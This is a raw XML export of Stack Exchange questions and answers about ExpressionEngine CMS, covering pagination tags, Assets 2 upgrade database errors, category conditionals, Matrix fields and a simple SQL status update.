  <row Id="4923" PostTypeId="2" ParentId="4918" CreationDate="2013-01-16T22:57:54.183" Score="9" Body="&lt;p&gt;You need to wrap the &lt;code&gt;{pagination_links}&lt;/code&gt; tags with &lt;code&gt;{paginate}&lt;/code&gt; tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{paginate}&#xA;    {pagination_links}&#xA;        {page}&#xA;            &amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&#xA;        {/page}&#xA;    {/pagination_links}&#xA;{/paginate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/pagination_page.html#9448&quot;&gt;this comment&lt;/a&gt; in the docs (which do a crap-tacular job of documenting pagination, btw).&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-01-16T22:57:54.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4924" PostTypeId="1" AcceptedAnswerId="4927" CreationDate="2013-01-16T23:33:11.343" Score="4" ViewCount="179" Body="&lt;p&gt;Just ran into the following database error while upgrading from Assets 1.2.2 to 2.0.1. I'm running EE 2.5.1&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;Error Number: 1050&#xA;&#xA;Table 'exp_assets_folders' already exists&#xA;&#xA;CREATE TABLE `exp_assets_folders` ( `folder_id` int(10) UNSIGNED AUTO_INCREMENT, `source_type` varchar(2) DEFAULT 'ee' NOT NULL, `folder_name` varchar(255) NOT NULL, `full_path` varchar(255), `parent_id` int(10) UNSIGNED NULL, `source_id` int(10) UNSIGNED, `filedir_id` int(4) UNSIGNED, PRIMARY KEY `folder_id` (`folder_id`) ) DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;&#xA;&#xA;Filename: third_party/assets/upd.assets.php&#xA;&#xA;Line Number: 430&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I made sure the extension was enabled, then went to run module updates, confirmed DB was backed up and encountered this error. &lt;/p&gt;&#xA;" OwnerUserId="133" LastEditorUserId="133" LastEditDate="2013-01-16T23:55:16.947" LastActivityDate="2013-01-17T00:24:37.400" Title="Assets 2 Database Update Error on EE 2.5.1" Tags="|assets|" AnswerCount="1" CommentCount="6" ClosedDate="2013-01-18T17:35:07.090" ContentLicense="CC BY-SA 3.0" />
  <row Id="4925" PostTypeId="2" ParentId="4842" CreationDate="2013-01-17T00:04:52.267" Score="1" Body="&lt;p&gt;Clicking the &quot;update modules&quot; button on the module admin area seemed to run the update. Although never got to the bottom as to why the upgrade failed on EE update or when visiting the referrer module page.  &lt;/p&gt;&#xA;" OwnerUserId="807" LastActivityDate="2013-01-17T00:04:52.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4926" PostTypeId="2" ParentId="4893" CreationDate="2013-01-17T00:10:32.587" Score="5" Body="&lt;p&gt;Okay here is what I did to get this working correctly. This by no means solves the initial problem but it does get you up and running again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I basically did what Brandon suggested in his comment—about setting the server paths directly and bypassing the config file. I did this before I ran the module updater or any indexing, so that none of those extra, unwanted, files were added into the exp_assets_files table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Steps&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Backup your current database just in case this doesn't work for you and you want to get back to here.&lt;/li&gt;&#xA;&lt;li&gt;Restore the database that you backed up in the very first place before all this happened. (You did backup right?). Make sure you delete all tables from the current db and don't just replace them, you want to start clean.&lt;/li&gt;&#xA;&lt;li&gt;If you are using &lt;code&gt;config['upload_preferences']&lt;/code&gt; array in your config file comment that out.&lt;/li&gt;&#xA;&lt;li&gt;Disable the RogEE Show Me My Assets! if you have it installed.(Don't think this has anything to do with the issues but just to be safe.)&lt;/li&gt;&#xA;&lt;li&gt;Go to file upload preferences and set those manually and update them. Check to make sure they are actually updated, if not you will probably still have something referencing them in a config file.&lt;/li&gt;&#xA;&lt;li&gt;Run the module updater&lt;/li&gt;&#xA;&lt;li&gt;Go to the assets module and update your indexes.&lt;/li&gt;&#xA;&lt;li&gt;Un-comment the &lt;code&gt;config['upload_preferences']&lt;/code&gt; you comment out in step 3.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That process worked for me. Hope it helps you.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2013-01-17T00:10:32.587" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="4927" PostTypeId="2" ParentId="4924" CreationDate="2013-01-17T00:24:37.400" Score="3" Body="&lt;p&gt;I had previously attempted to try out the Assets 2 Beta, but upon receiving some PHP errors and not having time to test it out thoroughly, I restored a database backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This backup however, wasn't set to drop all tables in the database—only ones that were being imported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After manually removing all tables and reimporting my database backup, I no longer received the database error when running the module updates.&lt;/p&gt;&#xA;" OwnerUserId="133" LastActivityDate="2013-01-17T00:24:37.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4928" PostTypeId="1" CreationDate="2013-01-17T00:51:48.127" Score="3" ViewCount="75" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/4893/assets-not-showing-the-correct-upload-directory&quot;&gt;Assets not showing the correct upload directory&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I'm running EE 2.5.1 and updating from Assets 1.2.2 to 2.0.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've followed instructions from the Pixel &amp;amp; Tonic docs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Immediately after running the Assets 2 update, I receive a page filled with the following errors.  It seems like there is an error for every existing assets image.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined index: 10:Series&#xA;&#xA;Filename: assets/upd.assets.php&#xA;&#xA;Line Number: 712&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm currently setting my upload paths in the EE config.php file: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['upload_preferences'] = array(&#xA;    1 =&amp;gt; array(&#xA;        'name'        =&amp;gt; 'Main Upload Directory',&#xA;        'server_path' =&amp;gt; $base_path . '/images/uploads/',&#xA;        'url'         =&amp;gt; $base_url . '/images/uploads/'&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$base_path is a dynamic variable that returns the absolute server path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked the exp_upload_prefs table and the server_path entries do not reflect the upload paths in the config.php file.  Is it possible the Assets 2 updater doesn't recognize these paths either, thus causing the error?&lt;/p&gt;&#xA;" OwnerUserId="133" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-01-17T00:51:48.127" Title="Assets 2 update causes PHP errors" Tags="|assets|" AnswerCount="0" CommentCount="5" ClosedDate="2013-01-18T17:36:49.427" ContentLicense="CC BY-SA 3.0" />
  <row Id="4929" PostTypeId="2" ParentId="4917" CreationDate="2013-01-17T01:16:48.187" Score="1" Body="&lt;p&gt;It sounds like you are looking for an AJAX-style contact form where you display the success or failure message on the same page without a refresh. I might suggest this article: &lt;a href=&quot;http://www.highintegritydesign.com/blog/articles/creating-a-modern-ajax-contact-form-in-expressionengine&quot; rel=&quot;nofollow&quot;&gt;Creating a modern AJAX contact form in ExpressionEngine&lt;/a&gt;. It also mentions the difference between adding AJAX to EE's native contact form and adding AJAX to other form add-ons like Solspace's Freeform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can reload the same page/template but add another URL segment, like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return=&quot;channel_name/edit/ENTRY_ID/success&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can display a success message on that same template when the segment matches:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_4 == &quot;success&quot;}&#xA;    &amp;lt;p&amp;gt;Success message here&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This does not offer inline validation, like AJAX will, but it is a simple option.&lt;/p&gt;&#xA;" OwnerUserId="706" LastEditorUserId="706" LastEditDate="2013-01-17T01:22:14.370" LastActivityDate="2013-01-17T01:22:14.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4930" PostTypeId="2" ParentId="4919" CreationDate="2013-01-17T01:17:46.163" Score="1" Body="&lt;p&gt;If there isn't a member_name, a search term is required when using the native ExpressionEngine search tag so you must add the keyword field back in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; id=&quot;keywords&quot; maxlength=&quot;100&quot; size=&quot;20&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you don't want the keyword, you can hack the Search module to remove the code that requires the keyword or you can look at the paid search addons that are available: &lt;a href=&quot;http://www.solspace.com/software/detail/super_search/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Super Search&lt;/strong&gt;&lt;/a&gt; or &lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Low Search&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="343" LastEditDate="2013-05-31T14:24:10.003" LastActivityDate="2013-05-31T14:24:10.003" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4931" PostTypeId="1" AcceptedAnswerId="4934" CreationDate="2013-01-17T02:01:06.447" Score="4" ViewCount="511" Body="&lt;p&gt;THE SHORT: I am looking for the sql query I need to run in order to change the status of an entry. Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THE LONG: I have two sperate channels and they are NOT linked via a relationship field, however if the status of an entry in Channel A is closed and a field in Channel A matches a field in Channel B I need to update the status of the entry in Channel B.  I plan on running this via a cron to automatically update these entries and I dont want to require my users manually change the entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="386" LastActivityDate="2013-01-17T02:27:45.877" Title="Use Query to change status of an entry" Tags="|query|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4932" PostTypeId="2" ParentId="4902" CreationDate="2013-01-17T02:04:58.920" Score="4" Body="&lt;p&gt;We'll have an official release out for this shortly, but in the meantime, open up system/expressionengine/third_party/assets/ft.assets.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your line 523 should look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($data as $file_id)&#xA;{&#xA;    try&#xA;    {&#xA;        $vars['files'][] = $this-&amp;gt;EE-&amp;gt;assets_lib-&amp;gt;get_file_by_id($file_id);&#xA;    }&#xA;    catch (Exception $exception)&#xA;    {&#xA;        // nothing much to do except move on&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change it to this and you should be golden:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($data as $file_id)&#xA;{&#xA;    if (!empty($file_id))&#xA;    {&#xA;        $file = $this-&amp;gt;EE-&amp;gt;assets_lib-&amp;gt;get_file_by_id($file_id);&#xA;&#xA;        if ($file !== FALSE)&#xA;        {&#xA;            $vars['files'][] = $file;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2013-01-17T02:04:58.920" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4933" PostTypeId="2" ParentId="4848" CreationDate="2013-01-17T02:13:44.447" Score="3" Body="&lt;p&gt;Because this isn't happening in your local development environment, I would guess it's not EE related but instead is caused by something on the server or is DNS related.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But here are some things to try/check:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Log out of EE, clear all cookies and cache, then log&#xA;back in &lt;/li&gt;&#xA;&lt;li&gt;Disable extensions temporarily by adding this to your &#xA;config.php file &lt;code&gt;$conf['allow_extensions'] = &quot;n&quot;;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Disable “New version Auto-check” in your Control Panel under Admin &gt; General Configuration&lt;/li&gt;&#xA;&lt;li&gt;Uninstall the &quot;ExpressionEngine Info&quot; accessory under Addons &gt; Accessories&lt;/li&gt;&#xA;&lt;li&gt;PHP error logs &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-01-17T02:21:52.960" LastActivityDate="2013-01-17T02:21:52.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4934" PostTypeId="2" ParentId="4931" CreationDate="2013-01-17T02:27:45.877" Score="2" Body="&lt;p&gt;Your question asks for a query to change the status of an entry. This is the code you'd use to change the status for a specific entry_id:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; UPDATE exp_channel_titles t &#xA; SET t.status = 'pending' &#xA; WHERE t.status = 'open'&#xA; AND t.entry_id = &quot;1&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I suspect you need something more complicated though. If that's the case, you'll need to update your questions with more specific detail.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-17T02:27:45.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4935" PostTypeId="1" AcceptedAnswerId="5042" CreationDate="2013-01-17T02:35:03.250" Score="2" ViewCount="143" Body="&lt;p&gt;Can someone else who updated to latest Assets 201 try this on your install?&#xA;I have a Matrix as Low Variable and inside I have a column with Assets, that Assets doesn't get updated on submiting. Assets alone in LowVariable works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 253, latest Matrix/LowVars/Assets&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="281" LastActivityDate="2013-01-18T11:26:12.923" Title="Assets used in Matrix as Low Variable doesn't get updated" Tags="|matrix|assets|low-variables|" AnswerCount="1" CommentCount="7" ClosedDate="2013-01-19T23:09:16.120" ContentLicense="CC BY-SA 3.0" />
  <row Id="4936" PostTypeId="2" ParentId="4838" CreationDate="2013-01-17T02:52:10.153" Score="1" Body="&lt;p&gt;Some things to check:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is the {exp:comment:edit_comment_script} tag in your header or in your template? The docs don't say specifically but I'd guess it needs to be in your header.&lt;/li&gt;&#xA;&lt;li&gt;Check to see what the variable {editable} actually prints out if anything&lt;/li&gt;&#xA;&lt;li&gt;Check to see what the variable {can_moderate_comment} actually prints out if anything&lt;/li&gt;&#xA;&lt;li&gt;Under &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/members/member_groups_edit.html#comment-administration-privileges&quot; rel=&quot;nofollow&quot;&gt;Comment Administration Privileges&lt;/a&gt; for the member group preferences, make sure &quot;Can edit comments in their own channel entries&quot; is turned on. For the heck of it, turn on all options in that section.&lt;/li&gt;&#xA;&lt;li&gt;Make sure the member you are logged is as when attempting to edit is the same member who posted the comment&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-17T02:52:10.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4937" PostTypeId="1" AcceptedAnswerId="5115" CreationDate="2013-01-17T03:58:21.530" Score="5" ViewCount="197" Body="&lt;p&gt;Currently I have about 20 upload paths set in the native EE file manager. all of them point to a variation of subfolders within my main /images folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was originally planning to use Assets 2 to host all of my images in a single Amazon S3 bucket like images.domain.com and use the same structure I currently have to restrict access to specific sub folders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After playing around with Assets 2, it doesn't apear that you can restrict to a subfolder as restrictions are set on a per bucket basis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do what I'm wanting?&lt;/p&gt;&#xA;" OwnerUserId="133" LastEditorUserId="133" LastEditDate="2013-01-19T16:25:19.243" LastActivityDate="2013-12-05T04:04:32.833" Title="With Assets 2 is it possible to restrict upload access to a folder within an S3 bucket?" Tags="|assets|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4938" PostTypeId="1" CreationDate="2013-01-17T05:03:13.223" Score="2" ViewCount="163" Body="&lt;p&gt;First, HUGE props to the people who've worked so hard to create this forum.  EE desperately needs (and deserves) a community like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wondering if any of you have experience with Twitter-style hashtagging in EE?  I found an old 1.x extension called &lt;a href=&quot;https://github.com/AboutWout/twagger.ee_addon&quot; rel=&quot;nofollow&quot;&gt;Twagger&lt;/a&gt; that does it. But it has not been ported to EE 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really want to streamline the tagging process in SafeCracker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I can't find a 2.x extension that will do this, I'd be interested in contracting someone to do it for me.&lt;/p&gt;&#xA;" OwnerUserId="831" LastActivityDate="2013-01-23T16:17:52.807" Title="Twitter-style Tagging with Hashtags ? Devs? Anyone?" Tags="|add-on-development|tags|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4939" PostTypeId="1" AcceptedAnswerId="4951" CreationDate="2013-01-17T07:19:54.707" Score="2" ViewCount="495" Body="&lt;p&gt;Is there a way for the {exp:low_search:results} tag to display everything as a default when there is no query segment?&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-01-17T08:09:17.753" LastActivityDate="2013-01-17T12:05:25.907" Title="Low Search - {exp:low_search:results} shows all entries as default" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4940" PostTypeId="1" AcceptedAnswerId="4952" CreationDate="2013-01-17T07:30:50.657" Score="3" ViewCount="1271" Body="&lt;p&gt;Is there a way to display a fallback snippet if a {categories show_group='xy'}-Tag is empty / a entry does not have a category?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The example…&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;Category: {categories show_group='xy' backspace='2'}&amp;lt;a href='#'&amp;gt;{category_name}&amp;lt;/a&amp;gt;, {/categories}&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;… shows …&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Category: &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;… if there is no linked category for this entry in this category-group. Is there a way to do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Category: No categories assigned&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;… or hide «Category: » in the first place with a conditional or something simpler than this kind-of-complicated stuff:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories show_group='xy' limit='1'}&amp;lt;p&amp;gt;Category: {/categories}{categories show_group='xy' backspace='2'}&amp;lt;a href='#'&amp;gt;{category_name}&amp;lt;/a&amp;gt;, {/categories}&amp;lt;/p&amp;gt;{categories show_group='xy' limit='1'}&amp;lt;/p&amp;gt;{/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="178" LastActivityDate="2013-01-17T14:48:38.947" Title="If no results for {categories}" Tags="|categories|no-results|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4941" PostTypeId="2" ParentId="4857" CreationDate="2013-01-17T08:12:57.237" Score="2" Body="&lt;p&gt;This is a known Bug (I've reported it yesterday) and P&amp;amp;T wrote me it will be fixed «ASAP»&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://twitter.com/albuvee/status/291560667440361473&quot; rel=&quot;nofollow&quot;&gt;Bug-Report&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/pixelandtonic/status/291571826788802560&quot; rel=&quot;nofollow&quot;&gt;Reply from P&amp;amp;T&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2013-01-17T08:12:57.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4942" PostTypeId="1" CreationDate="2013-01-17T08:25:11.853" Score="1" ViewCount="407" Body="&lt;p&gt;How can you check if there is an image within an Asset field within a Matrix field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{matrixField search:asset=&quot;not IS_EMPTY&quot;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{matrixField} &#xA;{if asset != ''} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it still does it anyway. I have updated to the latest Matrix but still have issues. &lt;/p&gt;&#xA;" OwnerUserId="548" LastActivityDate="2013-01-17T11:03:52.353" Title="How to check if an Asset field is empty within a Matrix row" Tags="|matrix|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4943" PostTypeId="1" AcceptedAnswerId="4959" CreationDate="2013-01-17T10:15:01.063" Score="3" ViewCount="1195" Body="&lt;p&gt;I have a parent category called, 'Reviews', which has sub-categories, 'Albums', 'Tracks' and 'Gigs'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The entries in the sub-categories had already been assigned those sub-categories before the parent category was created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can automatically add the 'Reviews' (parent) category to all of its sub-category entries?&lt;/p&gt;&#xA;" OwnerUserId="833" LastActivityDate="2013-12-27T20:48:12.300" Title="Automatically assign parent category to sub-category entries?" Tags="|categories|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4944" PostTypeId="2" ParentId="4915" CreationDate="2013-01-17T10:17:55.740" Score="2" Body="&lt;p&gt;&lt;strong&gt;Heres my thought process:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you're using Beanstalk (so do we), you could use post hooks to trigger the SQL to run (we don't do that!). It would require a terminal script I guess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd have to isolate the SQL that each module needs to run in the update method of the upd.xxx.php file. Seems like it would be easier to do this manually with each module upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then again, if the third_party is under VC, all the new files will be on the live site post deployment. Doesn't EE check the update class by just visiting the 'Modules' screen?&lt;/p&gt;&#xA;" OwnerUserId="351" LastActivityDate="2013-01-17T10:17:55.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4945" PostTypeId="2" ParentId="4940" CreationDate="2013-01-17T10:53:07.880" Score="0" Body="&lt;p&gt;I'd look at the count parameter as a conditional: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/categories.html#count&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/categories.html#count&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories show_group='xy' backspace='2'}&#xA;{if count == &quot;1&quot;}Category:{/if} // If there are any cat's then show the title&#xA;&amp;lt;a href='#'&amp;gt;{category_name}&amp;lt;/a&amp;gt;,&#xA;{/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's late here and the code may not be perfect but you should get the gist :)&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-01-17T10:53:07.880" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4946" PostTypeId="2" ParentId="4943" CreationDate="2013-01-17T10:56:08.240" Score="0" Body="&lt;p&gt;You could do this with a custom extension although my advice would be to reconsider your data architecture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you post some more information on why you want to do this including channel setup and custom fields?&lt;/p&gt;&#xA;" OwnerUserId="625" LastActivityDate="2013-01-17T10:56:08.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4947" PostTypeId="2" ParentId="4915" CreationDate="2013-01-17T10:59:44.157" Score="2" Body="&lt;p&gt;We use Navicat to sync changes from local into test and then into production after doing an update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recently though I've seen &lt;a href=&quot;http://dbv.vizuina.com/&quot; rel=&quot;nofollow&quot;&gt;http://dbv.vizuina.com/&lt;/a&gt; and when I get the time want to see how we can incorporate that into our current process.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-01-17T10:59:44.157" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4948" PostTypeId="2" ParentId="1272" CreationDate="2013-01-17T11:03:41.717" Score="1" Body="&lt;p&gt;I'd go with a custom extension. Here's the hooks you'll need:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create new database cols in exp_comments when you install the extension&lt;/li&gt;&#xA;&lt;li&gt;Add additional fields to the database insert array using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/module/comment/index.html#insert-comment-insert-array&quot; rel=&quot;nofollow&quot;&gt;insert_comment_insert_array&lt;/a&gt; hook&lt;/li&gt;&#xA;&lt;li&gt;Then when comments are rendered use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/module/comment/index.html#comment-entries-tagdata&quot; rel=&quot;nofollow&quot;&gt;comment_entries_tagdata&lt;/a&gt; hook to replace tags for the new comment fields.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="625" LastActivityDate="2013-01-17T11:03:41.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4949" PostTypeId="2" ParentId="4942" CreationDate="2013-01-17T11:03:52.353" Score="1" Body="&lt;p&gt;Would not the simple method work ?:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{matrixfield}&#xA;    {if assetfield}&#xA;        {assetfield}&#xA;    {/if}&#xA;    {anothermatrixcolumn}&#xA;    {/anothermatrixcolumn}&#xA;{/matrixfield}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-01-17T11:03:52.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4950" PostTypeId="2" ParentId="2381" CreationDate="2013-01-17T11:39:07.860" Score="1" Body="&lt;p&gt;If you're using EE 2.5.3, this is a bug. There's a hotfix here if upgrading is too difficult:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/216/path-tag-resolving-correctly-in-one-channel-but-not-in-another/220#220&quot;&gt;{path=} tag resolving correctly in one channel but not in another&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fix and discussion in bug tracker: &lt;a href=&quot;https://support.ellislab.com/bugs/detail/18239&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.ellislab.com/bugs/detail/18239&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, your syntax is incorrect - it should be &lt;code&gt;{encode=&quot;you@example.com&quot; title=&quot;Email Me!&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit to add - I read that you found the hotfix manually, however I don't think this was the true fix that made it into the 2.5.4+ version, so comparing that line in the typography file with the new version is misleading.&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-01-17T11:55:11.777" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
